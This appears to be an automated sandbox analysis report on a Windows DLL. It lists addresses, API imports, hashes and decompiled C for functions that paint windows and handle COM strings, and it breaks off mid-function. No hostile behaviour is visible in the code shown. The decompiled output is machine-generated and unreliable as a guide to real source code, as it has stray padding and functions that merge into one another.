0x6e8f8e50
0x6e8f8e58
0x6e8f8e59
0x6e8f8e5a
0x6e8f8e5e
0x6e8f8e68
0x6e8f8a5b
0x6e8f8a5b
0x6e8f8a62
0x6e8f8a66
0x6e8f8a6b
0x00000000
0x6e8f8a71
0x6e8f8a71
0x6e8f8a73
0x6e8f8a76
0x6e8f8a77
0x6e8f8a7d
0x6e8f8c90
0x6e8f8c93
0x00000000
0x6e8f8a83
0x6e8f8a83
0x6e8f8a88
0x00000000
0x6e8f8a8e
0x6e8f8a8e
0x6e8f8a90
0x6e8f8a95
0x6e8f8a98
0x6e8f8a9a
0x00000000
0x6e8f8aa0
0x6e8f8aa0
0x6e8f8aa5
0x6e8f8aaa
0x6e8f8aac
0x6e8f8aaf
0x6e8f8ab2
0x6e8f8ab8
0x6e8f8aed
0x6e8f8aed
0x6e8f8aef
0x6e8f8aef
0x6e8f8af3
0x6e8f8af8
0x00000000
0x6e8f8afe
0x6e8f8b01
0x6e8f8b06
0x6e8f8b10
0x6e8f8b14
0x6e8f8b1a
0x6e8f8b1c
0x00000000
0x6e8f8b22
0x6e8f8b2a
0x6e8f8b2e
0x6e8f8b34
0x6e8f8b37
0x6e8f8b3c
0x6e8f8b3f
0x6e8f8b43
0x6e8f8b48
0x6e8f8b4d
0x6e8f8b4e
0x6e8f8b54
0x6e8f8b58
0x6e8f8b5b
0x6e8f8b61
0x6e8f8b61
0x6e8f8b67
0x6e8f8b67
0x6e8f8b6c
0x6e8f8b6f
0x6e8f8b74
0x6e8f8b77
0x6e8f8b77
0x6e8f8b7e
0x6e8f8b81
0x6e8f8b86
0x6e8f8b86
0x6e8f8b89
0x6e8f8b89
0x6e8f8b92
0x6e8f8b9b
0x6e8f8b9c
0x6e8f8b9f
0x6e8f8ba4
0x6e8f8ba8
0x6e8f8bac
0x6e8f8bc1
0x6e8f8bc1
0x6e8f8bae
0x6e8f8bae
0x6e8f8bae
0x6e8f8bb3
0x6e8f8bbc
0x6e8f8bbc
0x6e8f8bb3
0x6e8f8bc4
0x6e8f8bc9
0x6e8f8bcc
0x6e8f8bcf
0x6e8f8bd2
0x6e8f8bd6
0x6e8f8bdb
0x6e8f8be1
0x6e8f8be7
0x6e8f8beb
0x6e8f8bee
0x6e8f8bf4
0x6e8f8bf4
0x6e8f8bfa
0x6e8f8bff
0x6e8f8c02
0x6e8f8c07
0x6e8f8c0a
0x6e8f8c0a
0x6e8f8c11
0x6e8f8c14
0x6e8f8c19
0x6e8f8c19
0x6e8f8c1c
0x6e8f8c1c
0x6e8f8bd6
0x6e8f8c23
0x6e8f8c27
0x6e8f8c30
0x6e8f8c36
0x6e8f8c38
0x6e8f8c3c
0x6e8f8c3f
0x6e8f8c45
0x6e8f8c45
0x6e8f8c4b
0x6e8f8c50
0x6e8f8c53
0x6e8f8c58
0x6e8f8c5b
0x6e8f8c5b
0x6e8f8c62
0x6e8f8c65
0x6e8f8c6a
0x6e8f8c6a
0x6e8f8c6d
0x6e8f8c74
0x6e8f8c7a
0x6e8f8c7f
0x6e8f8c80
0x6e8f8c86
0x00000000
0x6e8f8c88
0x6e8f8c88
0x00000000
0x6e8f8c88
0x6e8f8c86
0x6e8f8b1c
0x6e8f8aba
0x6e8f8aba
0x6e8f8abd
0x6e8f8ac1
0x6e8f8ac9
0x6e8f8ad0
0x6e8f8ad7
0x6e8f8add
0x6e8f8ae1
0x00000000
0x6e8f8e69
0x6e8f8e69
0x6e8f8e6e
0x6e8f8e73
0x6e8f8e74
0x00000000
0x6e8f8e74
0x6e8f8ae1
0x6e8f8ab8
0x6e8f8a9a
0x6e8f8a88
0x6e8f8a7d
0x6e8f8a6b
0x00000000
0x6e8f8a55
0x00000000
0x6e8f8a22
0x6e8f8a1c
0x6e8f89ff
0x6e8f89ed
0x6e8f89e2
0x00000000

APIs

SysAllocString.OLEAUT32(00000000), ref: 6E8F8AD7
VariantInit.OLEAUT32(?), ref: 6E8F8B06
VariantCopy.OLEAUT32(?,?), ref: 6E8F8B14
SysFreeString.OLEAUT32(00000000), ref: 6E8F8B5B
SysFreeString.OLEAUT32(-00000001), ref: 6E8F8BEE
VariantClear.OLEAUT32(?), ref: 6E8F8C27
SysFreeString.OLEAUT32(-00000001), ref: 6E8F8C3F
SysFreeString.OLEAUT32(00000000), ref: 6E8F8C7A
SysFreeString.OLEAUT32(00000000), ref: 6E8F8C93
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6E8F8D14
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F8D1E
MultiByteToWideChar.KERNEL32(00000003,00000000,lines,000000FF,00000000,00000000), ref: 6E8F8D3B
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6E8F8D50
SysFreeString.OLEAUT32(00000000), ref: 6E8F8D5F
SysFreeString.OLEAUT32(00000000), ref: 6E8F8DE8
SysFreeString.OLEAUT32(00000000), ref: 6E8F8E2C
_com_issue_error.COMSUPP ref: 6E8F8E6E
_com_issue_error.COMSUPP ref: 6E8F8E74
_com_issue_error.COMSUPP ref: 6E8F8E7E
SysFreeString.OLEAUT32(76AFD5B0), ref: 6E8F8E84

Strings

lines, xrefs: 6E8F8D0B, 6E8F8D32
offsetY, xrefs: 6E8F8B22
", xrefs: 6E8F8E37

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$Variant_com_issue_error$AllocByteCharMultiWide$BstrClearCopyInit
String ID: "$lines$offsetY
API String ID: 1469084953-1489481244
Opcode ID: 771daf9b5c94b2d749686a1743bc843b16ab956ee8fca82faef21475703beab9
Instruction ID: 6be2db7e61e498b5275467693513bb15085d4c5307b985e50398bfb58e81ad08
Opcode Fuzzy Hash: 771daf9b5c94b2d749686a1743bc843b16ab956ee8fca82faef21475703beab9
Instruction Fuzzy Hash: 56F1C370A0164ADFEF40CFE6C958BAEBBB8AF55744F20495CE415EB280D775E902CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E901240, Relevance: 31.7, APIs: 21, Instructions: 187
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6E901240(void* __ebx, void* __ecx) {
				signed int _v12;
				struct tagPOINT _v68;
				struct tagPOINT _v84;
				intOrPtr _v88;
				int _v92;
				struct tagPAINTSTRUCT _v104;
				struct tagRECT _v120;
				intOrPtr _v124;
				signed int _v132;
				void* _v140;
				intOrPtr _v144;
				void* _v152;
				void* _v164;
				int _v168;
				struct HWND__* _v172;
				struct HWND__* _v188;
				struct tagPAINTSTRUCT _v224;
				void* _v228;
				void* _v232;
				void* _v236;
				void* __edi;
				void* __esi;
				intOrPtr _t64;
				signed int _t71;
				struct HWND__* _t77;
				void* _t80;
				signed int _t91;
				intOrPtr _t114;
				signed int _t128;
				void* _t130;
				intOrPtr _t132;
				void* _t133;
				intOrPtr _t137;
				int _t138;
				struct HDC__* _t140;
				void* _t141;
				signed int _t145;
				signed int _t148;
				signed int _t149;

				_t112 = __ebx;
				_t135 = __ecx;
				_t64 =  *((intOrPtr*)(__ecx + 0xc));
				_t128 =  *((intOrPtr*)(__ecx + 0x10)) - _t64 & 0xfffffffc;
				if(_t128 < 0x1000) {
					L3:
					_push(_t128);
					E6E90416E(_t64);
					 *(_t135 + 0xc) = 0;
					 *(_t135 + 0x10) = 0;
					 *(_t135 + 0x14) = 0;
					E6E902800(_t112,  *((intOrPtr*)(_t135 + 4)));
					_push(0x28);
					return E6E90416E( *((intOrPtr*)(_t135 + 4)));
				} else {
					_t114 =  *((intOrPtr*)(_t64 - 4));
					_t128 = _t128 + 0x23;
					if(_t64 - _t114 + 0xfffffffc > 0x1f) {
						E6E90D5F4(__ebx, _t114, _t128, __eflags);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t148 = (_t145 & 0xfffffff0) - 0x88;
						_t71 =  *0x6e93d008; // 0x6cddfca0
						_v12 = _t71 ^ _t148;
						_push(__ecx);
						_push(_t130);
						_t137 = _t114;
						_v144 = _t137;
						E6E908400(_t130,  &_v104, 0, 0x40);
						_t149 = _t148 + 0xc;
						asm("xorps xmm0, xmm0");
						asm("movaps [esp+0x20], xmm0");
						BeginPaint( *(_t137 + 0x18),  &_v104);
						_t77 = GetParent( *(_t137 + 0x18));
						_v140 = _t77;
						GetClientRect(_t77,  &_v120);
						_t138 = CreateCompatibleDC(_v104);
						_v140 = _t138;
						_t80 = CreateCompatibleBitmap(_v120.bottom, _v120.top - _v124, _v120.right - _v120.left);
						_v140 = _t80;
						_v152 = SelectObject(_t138, _t80);
						_v164 = SelectObject(_t138,  *(_v168 + 0x54));
						SendMessageW(_v172, 0x14, _t138, 0);
						SendMessageW(_v172, 0xf, _v168, 0);
						_t140 = _v168;
						SetBkMode(_t140, 1);
						SetTextColor(_t140, 0xffffff);
						GetClientRect( *(_v224.rgbReserved + 0x18),  &(_v104.fIncUpdate));
						_t132 = _v224.rgbReserved;
						_t91 = ClientToScreen( *(_t132 + 0x18),  &(_v104.fIncUpdate));
						__eflags = _t91;
						if(_t91 != 0) {
							ClientToScreen( *(_t132 + 0x18),  &_v68);
						}
						_v84.x = 0;
						_v104.fRestore = 0;
						ClientToScreen(_v188,  &_v84);
						_v84.x = _v104.fIncUpdate.x - _v84.x;
						_v104.fRestore = _v104.rgbReserved - _v104.fRestore;
						E6E900DF0(_t132, _t140, _v104.fIncUpdate.x - _v84.x, _v104.rgbReserved - _v104.fRestore);
						BitBlt(_v164, 0, 0, _v104.fRestore - _v88, _v104.fIncUpdate.x - _v84.x, _t140, _v104.rcPaint, _v92, 0xcc0020);
						SelectObject(_t140, _v228);
						SelectObject(_t140, _v232);
						DeleteObject(_v236);
						DeleteDC(_t140);
						EndPaint( *(_t132 + 0x18),  &_v224);
						_pop(_t133);
						_pop(_t141);
						__eflags = _v132 ^ _t149;
						return E6E904160(0, _t112, _v132 ^ _t149, _t128, _t133, _t141);
					} else {
						_t64 = _t114;
						goto L3;
					}
				}
			}

0x6e901240
0x6e901241
0x6e901246
0x6e90124b
0x6e901254
0x6e901268
0x6e901268
0x6e90126a
0x6e90126f
0x6e901276
0x6e90127d
0x6e901287
0x6e90128c
0x6e90129a
0x6e901256
0x6e901256
0x6e901259
0x6e901264
0x6e90129b
0x6e9012a0
0x6e9012a1
0x6e9012a2
0x6e9012a3
0x6e9012a4
0x6e9012a5
0x6e9012a6
0x6e9012a7
0x6e9012a8
0x6e9012a9
0x6e9012aa
0x6e9012ab
0x6e9012ac
0x6e9012ad
0x6e9012ae
0x6e9012af
0x6e9012b6
0x6e9012bc
0x6e9012c3
0x6e9012ca
0x6e9012cb
0x6e9012d2
0x6e9012d7
0x6e9012db
0x6e9012e0
0x6e9012e7
0x6e9012ea
0x6e9012f3
0x6e9012fc
0x6e90130e
0x6e901312
0x6e901322
0x6e901336
0x6e90133a
0x6e901342
0x6e901350
0x6e90136d
0x6e901371
0x6e90137f
0x6e901381
0x6e901388
0x6e901394
0x6e9013a6
0x6e9013a8
0x6e9013b4
0x6e9013ba
0x6e9013bc
0x6e9013c9
0x6e9013c9
0x6e9013d3
0x6e9013e0
0x6e9013eb
0x6e901406
0x6e90140d
0x6e901414
0x6e90144d
0x6e901458
0x6e901463
0x6e90146d
0x6e901474
0x6e901482
0x6e901491
0x6e901492
0x6e901493
0x6e90149d
0x6e901266
0x6e901266
0x00000000
0x6e901266
0x6e901264

APIs

BeginPaint.USER32(?,?), ref: 6E9012F3
GetParent.USER32(?), ref: 6E9012FC
GetClientRect.USER32 ref: 6E901312
CreateCompatibleDC.GDI32(?), ref: 6E901318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6E90133A
SelectObject.GDI32(00000000,00000000), ref: 6E901346
SelectObject.GDI32(00000000,?), ref: 6E901358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6E901371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6E90137F
SetBkMode.GDI32(?,00000001), ref: 6E901388
SetTextColor.GDI32(?,00FFFFFF), ref: 6E901394
GetClientRect.USER32 ref: 6E9013A6
ClientToScreen.USER32(?,?), ref: 6E9013B4
ClientToScreen.USER32(?,?), ref: 6E9013C9
ClientToScreen.USER32(?,?), ref: 6E9013EB

Part of subcall function 6E900DF0: GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6E901419,?,00000000,?), ref: 6E900E7E

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6E90144D
SelectObject.GDI32(?,?), ref: 6E901458
SelectObject.GDI32(?,?), ref: 6E901463
DeleteObject.GDI32(?), ref: 6E90146D
DeleteDC.GDI32(?), ref: 6E901474
EndPaint.USER32(?,?), ref: 6E901482

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSendText$BeginBitmapColorMetricsModeParent
String ID:
API String ID: 1460541294-0
Opcode ID: 2bbc98ad5c2fafd9be842c48906517f4bdac36e384ffa92bf56f5f71c1eaa3c9
Instruction ID: f10a83647c06302b19b823f34031953fa7260fa32ce66ddeeadbf42a6fac480d
Opcode Fuzzy Hash: 2bbc98ad5c2fafd9be842c48906517f4bdac36e384ffa92bf56f5f71c1eaa3c9
Instruction Fuzzy Hash: E0614872118B01AFDB219F64CD08F6BBBE9FF89710F104A1CF595962A0CB71A905CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E9012B0, Relevance: 31.6, APIs: 21, Instructions: 141
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6E9012B0(void* __ebx, intOrPtr __ecx) {
				signed int _v8;
				struct tagPOINT _v64;
				struct tagPOINT _v80;
				intOrPtr _v84;
				int _v88;
				struct tagPAINTSTRUCT _v100;
				struct tagRECT _v116;
				intOrPtr _v120;
				signed int _v128;
				void* _v136;
				intOrPtr _v140;
				void* _v148;
				void* _v160;
				int _v164;
				struct HWND__* _v168;
				struct HWND__* _v184;
				struct tagPAINTSTRUCT _v220;
				void* _v224;
				void* _v228;
				void* _v232;
				void* __edi;
				void* __esi;
				signed int _t56;
				struct HWND__* _t62;
				void* _t65;
				void* _t97;
				void* _t110;
				void* _t111;
				intOrPtr _t113;
				void* _t114;
				intOrPtr _t116;
				int _t117;
				struct HDC__* _t119;
				void* _t120;
				signed int _t121;
				signed int _t123;
				signed int _t124;

				_t97 = __ebx;
				_t123 = (_t121 & 0xfffffff0) - 0x88;
				_t56 =  *0x6e93d008; // 0x6cddfca0
				_v8 = _t56 ^ _t123;
				_push(_t111);
				_t116 = __ecx;
				_v140 = __ecx;
				E6E908400(_t111,  &_v100, 0, 0x40);
				_t124 = _t123 + 0xc;
				asm("xorps xmm0, xmm0");
				asm("movaps [esp+0x20], xmm0");
				BeginPaint( *(_t116 + 0x18),  &_v100);
				_t62 = GetParent( *(_t116 + 0x18));
				_v136 = _t62;
				GetClientRect(_t62,  &_v116);
				_t117 = CreateCompatibleDC(_v100);
				_v136 = _t117;
				_t65 = CreateCompatibleBitmap(_v116.bottom, _v116.top - _v120, _v116.right - _v116.left);
				_v136 = _t65;
				_v148 = SelectObject(_t117, _t65);
				_v160 = SelectObject(_t117,  *(_v164 + 0x54));
				SendMessageW(_v168, 0x14, _t117, 0);
				SendMessageW(_v168, 0xf, _v164, 0);
				_t119 = _v164;
				SetBkMode(_t119, 1);
				SetTextColor(_t119, 0xffffff);
				GetClientRect( *(_v220.rgbReserved + 0x18),  &(_v100.fIncUpdate));
				_t113 = _v220.rgbReserved;
				if(ClientToScreen( *(_t113 + 0x18),  &(_v100.fIncUpdate)) != 0) {
					ClientToScreen( *(_t113 + 0x18),  &_v64);
				}
				_v80.x = 0;
				_v100.fRestore = 0;
				ClientToScreen(_v184,  &_v80);
				_v80.x = _v100.fIncUpdate.x - _v80.x;
				_v100.fRestore = _v100.rgbReserved - _v100.fRestore;
				E6E900DF0(_t113, _t119, _v100.fIncUpdate.x - _v80.x, _v100.rgbReserved - _v100.fRestore);
				BitBlt(_v160, 0, 0, _v100.fRestore - _v84, _v100.fIncUpdate.x - _v80.x, _t119, _v100.rcPaint, _v88, 0xcc0020);
				SelectObject(_t119, _v224);
				SelectObject(_t119, _v228);
				DeleteObject(_v232);
				DeleteDC(_t119);
				EndPaint( *(_t113 + 0x18),  &_v220);
				_pop(_t114);
				_pop(_t120);
				return E6E904160(0, _t97, _v128 ^ _t124, _t110, _t114, _t120);
			}

0x6e9012b0
0x6e9012b6
0x6e9012bc
0x6e9012c3
0x6e9012cb
0x6e9012d2
0x6e9012d7
0x6e9012db
0x6e9012e0
0x6e9012e7
0x6e9012ea
0x6e9012f3
0x6e9012fc
0x6e90130e
0x6e901312
0x6e901322
0x6e901336
0x6e90133a
0x6e901342
0x6e901350
0x6e90136d
0x6e901371
0x6e90137f
0x6e901381
0x6e901388
0x6e901394
0x6e9013a6
0x6e9013a8
0x6e9013bc
0x6e9013c9
0x6e9013c9
0x6e9013d3
0x6e9013e0
0x6e9013eb
0x6e901406
0x6e90140d
0x6e901414
0x6e90144d
0x6e901458
0x6e901463
0x6e90146d
0x6e901474
0x6e901482
0x6e901491
0x6e901492
0x6e90149d

APIs

BeginPaint.USER32(?,?), ref: 6E9012F3
GetParent.USER32(?), ref: 6E9012FC
GetClientRect.USER32 ref: 6E901312
CreateCompatibleDC.GDI32(?), ref: 6E901318
CreateCompatibleBitmap.GDI32(?,?,?), ref: 6E90133A
SelectObject.GDI32(00000000,00000000), ref: 6E901346
SelectObject.GDI32(00000000,?), ref: 6E901358
SendMessageW.USER32(?,00000014,00000000,00000000), ref: 6E901371
SendMessageW.USER32(?,0000000F,?,00000000), ref: 6E90137F
SetBkMode.GDI32(?,00000001), ref: 6E901388
SetTextColor.GDI32(?,00FFFFFF), ref: 6E901394
GetClientRect.USER32 ref: 6E9013A6
ClientToScreen.USER32(?,?), ref: 6E9013B4
ClientToScreen.USER32(?,?), ref: 6E9013C9
ClientToScreen.USER32(?,?), ref: 6E9013EB
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 6E90144D
SelectObject.GDI32(?,?), ref: 6E901458
SelectObject.GDI32(?,?), ref: 6E901463
DeleteObject.GDI32(?), ref: 6E90146D
DeleteDC.GDI32(?), ref: 6E901474
EndPaint.USER32(?,?), ref: 6E901482

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientObject$Select$Screen$CompatibleCreateDeleteMessagePaintRectSend$BeginBitmapColorModeParentText
String ID:
API String ID: 2796758630-0
Opcode ID: ca538ad6c3c0543487898c3e5e142f4d7153f20946448fac727dea01a16c1427
Instruction ID: 8f31412789ab3a023821fb476241448a97afe6c562eba727738da8ca233eb249
Opcode Fuzzy Hash: ca538ad6c3c0543487898c3e5e142f4d7153f20946448fac727dea01a16c1427
Instruction Fuzzy Hash: 85512572118B41AFDB219F65C908F6FBBE8FF89700F10491DF69992260DB71A905CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7ED0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 156
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E6E8F7ED0(signed int __ebx, int* __ecx, signed int __edx, void* __edi, void* __esi, void* __fp0, int _a4) {
				int _v8;
				char _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _v48;
				char _v56;
				char _v60;
				int _v64;
				int _v68;
				int _v72;
				int _v88;
				int _v92;
				char _v100;
				signed int _v104;
				int _v112;
				signed int _v152;
				int _v200;
				char _v208;
				signed int _v212;
				int _v216;
				signed int _v276;
				int _v320;
				char _v328;
				signed int _v332;
				int _v336;
				signed int _v396;
				intOrPtr _v400;
				signed int _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				void* __ebp;
				signed int _t286;
				signed int _t287;
				signed int _t291;
				signed int _t296;
				signed int _t297;
				signed int _t301;
				signed int _t302;
				int _t310;
				signed int _t316;
				signed int _t317;
				void* _t320;
				void* _t327;
				signed int _t332;
				signed int _t334;
				void* _t339;
				signed int _t341;
				signed int _t343;
				signed int _t345;
				signed int _t356;
				signed int _t360;
				short* _t362;
				int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t369;
				signed int _t375;
				intOrPtr _t376;
				int _t379;
				signed int _t385;
				signed int _t389;
				short* _t391;
				int _t392;
				signed int _t394;
				signed int _t395;
				signed int _t396;
				signed int _t398;
				signed int _t406;
				signed int _t410;
				intOrPtr* _t416;
				int* _t417;
				signed int* _t418;
				signed int _t422;
				signed int* _t424;
				signed int _t425;
				void* _t426;
				short* _t427;
				signed int _t428;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				signed int* _t440;
				signed int _t441;
				signed int _t446;
				signed int* _t447;
				signed int _t448;
				void* _t449;
				int _t450;
				signed int _t452;
				signed int _t453;
				signed int* _t456;
				signed int _t457;
				void* _t458;
				signed int _t464;
				signed int _t465;
				signed int _t468;
				signed int _t474;
				signed int _t478;
				int _t479;
				signed int _t481;
				signed int _t482;
				int _t483;
				int _t484;
				void* _t485;
				signed int _t486;
				void* _t488;
				int _t490;
				void* _t491;
				int _t492;
				void* _t493;
				int _t494;
				void* _t495;
				void* _t496;
				signed int* _t497;
				signed int _t498;
				signed int _t499;
				signed int _t500;
				signed int _t501;
				signed int* _t502;
				signed int _t503;
				int* _t504;
				signed int _t505;
				int _t506;
				int* _t507;
				unsigned int _t511;
				signed int _t513;
				void* _t529;
				signed int _t542;
				signed int _t549;
				int _t568;
				signed int _t572;
				signed int _t579;
				void* _t580;
				signed int _t581;
				short* _t583;
				int _t584;
				int* _t585;
				signed int _t587;
				void* _t591;
				void* _t592;
				short* _t593;
				void* _t594;
				void* _t595;
				int _t597;
				int _t598;
				int* _t600;
				signed int _t602;
				void* _t605;
				signed int _t607;
				signed int _t608;
				void* _t610;
				void* _t612;
				void* _t613;
				void* _t615;
				void* _t616;
				signed int _t617;
				void* _t618;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t623;
				void* _t624;
				signed int _t633;
				signed int _t634;
				signed int _t635;
				signed int _t636;
				void* _t638;
				void* _t639;
				void* _t642;
				void* _t658;

				_t658 = __fp0;
				_t567 = __edx;
				_t497 = __ecx;
				_t481 = __ebx;
				_t620 = _t633;
				_push(0xffffffff);
				_push(0x6e9285eb);
				_push( *[fs:0x0]);
				_t634 = _t633 - 0x20;
				_t286 =  *0x6e93d008; // 0x6cddfca0
				_t287 = _t286 ^ _t620;
				_v24 = _t287;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t287);
				 *[fs:0x0] =  &_v16;
				_t583 = __ecx;
				_t597 = _a4;
				 *__ecx = 0;
				_t652 =  *_t597 - 8;
				if( *_t597 != 8) {
					__imp__#8( &_v40);
					_v8 = 1;
					__eflags =  &_v40 - _t597;
					if( &_v40 != _t597) {
						L10:
						_t291 =  &_v40;
						__imp__#12(_t291, _t597, 0, 8);
						__eflags = _t291;
						if(_t291 < 0) {
							goto L34;
						} else {
							goto L11;
						}
					} else {
						_t291 = 8;
						__eflags = 8 - _v40;
						if(8 == _v40) {
							L11:
							_t481 = _v32;
							__eflags = _t481;
							if(_t481 == 0) {
								L16:
								_t617 =  *_t583;
								__eflags = _t617;
								if(__eflags != 0) {
									asm("lock xadd [esi+0x8], eax");
									__eflags = (_t291 | 0xffffffff) - 1;
									if(__eflags == 0) {
										_t474 =  *_t617;
										__eflags = _t474;
										if(_t474 != 0) {
											__imp__#6(_t474);
											 *_t617 = 0;
										}
										_t475 =  *(_t617 + 4);
										__eflags =  *(_t617 + 4);
										if(__eflags != 0) {
											E6E9041CF(_t475);
											_t634 = _t634 + 4;
											 *(_t617 + 4) = 0;
										}
										_push(0xc);
										E6E90416E(_t617);
										_t634 = _t634 + 8;
									}
									 *_t583 = 0;
								}
								_t468 = E6E90419F(_t567, __eflags, 0xc);
								_t597 = _t468;
								_t634 = _t634 + 4;
								_v44 = _t597;
								_v8 = 2;
								__eflags = _t597;
								if(_t597 == 0) {
									_t597 = 0;
									__eflags = 0;
									goto L29;
								} else {
									asm("xorps xmm0, xmm0");
									asm("movq [esi], xmm0");
									 *(_t597 + 8) = 0;
									 *(_t597 + 4) = 0;
									 *(_t597 + 8) = 1;
									__imp__#2(_t481);
									 *_t597 = _t468;
									__eflags = _t468;
									if(_t468 != 0) {
										L29:
										_v8 = 1;
										 *_t583 = _t597;
										__eflags = _t597;
										if(_t597 == 0) {
											goto L36;
										} else {
											goto L30;
										}
									} else {
										__eflags = _t481;
										if(_t481 != 0) {
											goto L35;
										} else {
											goto L29;
										}
									}
								}
							} else {
								_t478 =  *_t583;
								__eflags = _t478;
								if(_t478 == 0) {
									_t291 = 0;
									__eflags = 0;
								} else {
									_t291 =  *_t478;
								}
								__eflags = _t291 - _t481;
								if(_t291 == _t481) {
									L30:
									__imp__#9( &_v40);
									goto L31;
								} else {
									goto L16;
								}
							}
						} else {
							goto L10;
						}
					}
				} else {
					_t481 =  *(_t597 + 8);
					_t479 = E6E90419F(__edx, _t652, 0xc);
					_t597 = _t479;
					_t634 = _t634 + 4;
					_v44 = _t597;
					_v8 = 0;
					if(_t597 == 0) {
						_t597 = 0;
						__eflags = 0;
						goto L6;
					} else {
						asm("xorps xmm0, xmm0");
						asm("movq [esi], xmm0");
						 *(_t597 + 8) = 0;
						 *(_t597 + 4) = 0;
						 *(_t597 + 8) = 1;
						__imp__#2(_t481);
						 *_t597 = _t479;
						if(_t479 != 0 || _t481 == 0) {
							L6:
							_v8 = 0xffffffff;
							 *_t583 = _t597;
							if(_t597 == 0) {
								goto L33;
							} else {
								L31:
								 *[fs:0x0] = _v16;
								_pop(_t595);
								_pop(_t618);
								_pop(_t496);
								return E6E904160(_t583, _t496, _v24 ^ _t620, _t567, _t595, _t618);
							}
						} else {
							E6E907500(0x8007000e);
							L33:
							_t291 = E6E907500(0x8007000e);
							L34:
							E6E907500(_t291);
							L35:
							E6E907500(0x8007000e);
							L36:
							E6E907500(0x8007000e);
							asm("int3");
							_push(_t620);
							_t621 = _t634;
							_push(0xffffffff);
							_push(0x6e928665);
							_push( *[fs:0x0]);
							_t635 = _t634 - 0x4c;
							_t296 =  *0x6e93d008; // 0x6cddfca0
							_t297 = _t296 ^ _t621;
							_v104 = _t297;
							_push(_t481);
							_push(_t597);
							_push(_t583);
							_push(_t297);
							 *[fs:0x0] =  &_v100;
							_t482 = _t567;
							_v152 = _t482;
							_v112 = 0;
							_v92 = 0;
							_t498 =  *_t497;
							__eflags = _t498;
							if(_t498 == 0) {
								L81:
								E6E907500(0x80004003);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t621);
								_t622 = _t635;
								_push(0xffffffff);
								_push(0x6e9286b5);
								_push( *[fs:0x0]);
								_t636 = _t635 - 0x4c;
								_t301 =  *0x6e93d008; // 0x6cddfca0
								_t302 = _t301 ^ _t622;
								_v212 = _t302;
								_push(_t482);
								_push(_t597);
								_push(_t583);
								_push(_t302);
								 *[fs:0x0] =  &_v208;
								_v276 = _t567;
								_v216 = 0;
								_v200 = 0;
								_t499 =  *_t498;
								__eflags = _t499;
								if(__eflags == 0) {
									L120:
									E6E907500(0x80004003);
									goto L121;
								} else {
									_t567 =  &_v32;
									_v16 = 0;
									_v32 = 0;
									 *((intOrPtr*)( *_t499 + 0x34))(_t499,  &_v32);
									_t385 = _v32;
									__eflags = _t385;
									if(_t385 == 0) {
										L113:
										_t492 = 1;
										goto L114;
									} else {
										_t482 = __imp__#6;
										while(1) {
											_v40 = 0;
											_v16 = 2;
											__eflags = _t385;
											if(__eflags == 0) {
												goto L120;
											}
											_t567 =  &_v40;
											_t389 =  *((intOrPtr*)( *_t385 + 0x1c))(_t385,  &_v40);
											__eflags = _t389;
											if(_t389 < 0) {
												L119:
												 *_t482(_v40);
												_t385 = _v32;
												_t492 = 0;
												L114:
												_v16 = 0xc;
												__eflags = _t385;
												if(_t385 != 0) {
													 *((intOrPtr*)( *_t385 + 8))(_t385);
												}
												 *[fs:0x0] = _v24;
												_pop(_t592);
												_pop(_t613);
												_pop(_t493);
												__eflags = _v28 ^ _t622;
												return E6E904160(_t492, _t493, _v28 ^ _t622, _t567, _t592, _t613);
											} else {
